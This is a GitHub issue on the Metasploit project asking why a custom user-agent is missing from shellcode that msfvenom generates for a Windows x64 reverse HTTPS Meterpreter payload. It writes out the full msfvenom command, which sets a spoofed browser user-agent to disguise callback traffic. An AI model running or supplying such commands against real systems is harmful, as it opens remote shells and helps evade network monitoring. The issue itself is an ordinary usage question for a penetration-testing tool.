Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

No user-agent embedded in the shellcode via msfvenom with payload 'windows/x64/meterpreter/reverse_https' #19764

Open
sscoconutree opened this issue Dec 25, 2024 · 0 comments
Labels
question Questions about Metasploit Usage

Comments

@sscoconutree
Copy link

Summary

How come there are no user-agent strings embedded in the shellcode when using this command:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 PayloadUUIDTracking=true HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edge/131.0.2903.86" PayloadUUIDName="foobar" -f raw EXITFUNC=thread -o shellcode.bin

I tried to send a request over my web server and this was shown in my apache2 logs.

image

Checking the plaintext of this shellcode, it seems the IP of my web server and the initial URI is only baked.

image

Relevant information

I found a similar issue before and I checked the source code again in the latest version of metasploit and it seems the changes by @busterb from the issue below was already applied however I was still having problems on how to embed the initial user-agent in the shellcode.

#11075

@sscoconutree sscoconutree added the question Questions about Metasploit Usage label Dec 25, 2024
@sscoconutree sscoconutree changed the title No user-agent embedded in the shellcode via msfvenom using 'windows/x64/meterpreter/reverse_https' No user-agent embedded in the shellcode via msfvenom with payload 'windows/x64/meterpreter/reverse_https' Dec 25, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
question Questions about Metasploit Usage
Projects
None yet
Development

No branches or pull requests

1 participant